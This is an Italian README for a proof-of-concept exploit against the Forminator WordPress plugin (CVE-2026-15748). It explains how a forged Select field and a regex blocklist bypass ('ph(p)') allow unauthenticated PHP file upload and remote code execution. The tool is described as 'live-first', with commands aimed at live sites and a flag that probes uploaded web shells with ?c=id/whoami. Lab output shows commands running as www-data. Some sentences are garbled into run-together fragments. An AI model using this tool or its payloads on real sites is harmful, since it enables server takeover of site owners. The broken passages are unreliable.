
Forminator Forms <= 1.56.1 - Caricamento arbitrario di file non autenticato tramite configurazione contraffatta del campo di caricamento
CVSS 9.8 (Critico) · Versioni interessate: Forminator <= 1.56.1 · Corretta: 1.56.2
Ricercatore: daroo (Wordfence Bug Bounty, $2,048) · ~600k installazioni attive
Report: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
Tre debolezze concatenate tramite un valore falsificato del campo Select:
Nessuna sanificazione sugli array di campi annidati — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() itera ogni campo memorizzato. Per il campo Select memorizzato select-1,
$field_data = prepared_data['select-1'] (array annidato controllato dall'attaccante). Quando contiene
, l'array viene aggiunto interamente a (front-action.php ~riga 1088),
prima di qualsiasi sanificazione/validazione per campo. non li rimuove.
returnfield_data_arraymaybe_handle_custom_option()Configurazione di campo non attendibile considerata affidabile durante l'upload — Forminator_CForm_Front_Action::process_uploads()
itera field_data_array, si fida del field_type == 'upload' falsificato, usa il name falsificato per selezionare un
input $_FILES, e passa field_array falsificato come configurazione affidabile a
Forminator_Upload::handle_file_upload().
Bypass della blocklist tramite chiave esatta — forminator_allowed_mime_types() rimuove la chiave letterale php, ma
wp_check_filetype() tratta le chiavi come regex. La chiave ph(p) sopravvive alla blocklist ma corrisponde al
suffisso .php. additional-type = ph(p)|text/x-php permette a un file .php di superare la validazione.
Un form pubblicato deve contenere sia un campo File Upload sia un campo Select. Select è solo il veicolo.
.php arbitrari su disco riesce per impostazione predefinita (nessuna configurazione speciale necessaria per la scrittura)..htaccess. La root predefinita di Forminator e una root
personalizzata ricevono entrambe un .htaccess che blocca PHP (SetHandler none / RemoveHandler). La RCE scatta solo quando
quel .htaccess è assente — lo scenario del report: "root di storage personalizzata creata durante una richiesta frontend
in cui insert_with_markers() non è caricato"..htaccess.wp-content/uploads/forminator/ → file in
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.forminator_custom_upload_root (es. cveuploads), i file finiscono in
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.<hash> è wp_hash($form_id) — derivato dai salt AUTH del sito, quindi non prevedibile
esternamente. poc.py stampa il pattern del percorso; per completarlo devi recuperare l'hash (directory listing,
URL/log di un file già caricato, una voce nell'admin, ecc.) tramite --form-hash.wp_generate_password(12,false,false) . '-' . <original> → es.
cX3fRjMDDu03-shell.php (12 caratteri alfanumerici casuali + - + nome originale).poc.pyProgettato per essere live-first; gli helper per il laboratorio locale (scansione del file system, rimozione del .htaccess) sono limitati a
http://wordpresslab.test / http://localhost.
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
| Flag | Significato |
|---|---|
--target | URL base (o URL completo della pagina quando non ci sono --page-id/manuale) |
--page-id | id del post; se vuoto, viene recuperata la URL target stessa per nonce/form_id |
--form-id, --nonce | bypassa la scoperta; recupera comunque la pagina per la raccolta --auto |
--upload-field | nome del campo upload genuino (default upload-1) |
--forge-name | veicolo $_FILES falsificato (default = nome genuino, modalità collisione; usa un nome distinto per un success=True pulito) |
--select | campo select da usare (default select-1) |
--extra name=value | forza un valore di campo (ripetibile; --extra 'checkbox-1[]=a+b' per più valori) |
--auto / --no-auto | raccoglie i campi reali del form dall'HTML e auto-compila valori plausibili in base al tipo (default attivo) |
--upload-root | root di upload relativa (default wp-content/uploads/forminator; imposta es. wp-content/uploads/cveuploads per root personalizzata) |
--form-hash | la parte <hash> della directory di upload → completa/stampa una URL concreta |
--verify-url | live: sonda una URL di shell candidata con ?c=id/?c=whoami |
--find-shell | solo locale (wordpresslab.test/localhost): trova la *-shell.php più recente, rimuove .htaccess, esegue |
--no-htaccess | stampa la nota sulla rimozione del .htaccess nel lab locale |
--auto (estratti dal HTML del form)| Tipo di campo | Valore generato |
|---|---|
email / il nome contiene email | auto<rand>@mailinator.com |
tel / il nome contiene phone | 10 cifre casuali |
url / il nome contiene url | https://example.com/<rand> |
number | numero casuale 1–9999 |
date | 2026-08-19 |
gruppo checkbox/radio name[] | primo valore di opzione (vengono scansionati tutti gli input con lo stesso nome) |
| checkbox/radio singolo | attributo value, fallback checked |
<select> (non veicolo) | prima opzione non vuota |
<textarea> | testo casuale |
| testo semplice | 10 caratteri casuali |
Esclusi: campi interni (action/form_id/nonce/...), type="file" (upload-*), select-*
(veicolo dell'exploit), calculation-* (calcolati) e campi di plugin esterni (wpforms[...]).
Setup:
build_form.php,
API Forminator_Form_Model).forminator_custom_upload=1, forminator_custom_upload_root=cveuploads)
per poter dimostrare la RCE. cveuploads/ è un artefatto da laboratorio, non un default di Forminator.success=True pulito, il name falsificato deve differire dall'element_id
del campo upload genuino. Un nome in collisione carica comunque il file ma il campo genuino esegue anche il proprio
controllo mime di default → la risposta riporta un errore mentre la shell è già su disco.Prova grezza (esecuzione in lab):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
poc.py — PoC live-first (auto-discovery, auto-compilazione, verify-url, helper RCE locale)build_form.php — costruttore programmatico del form di laboratorio (upload + select) tramite API del modelloREADME.md — questo documento.htaccess/index di Forminator.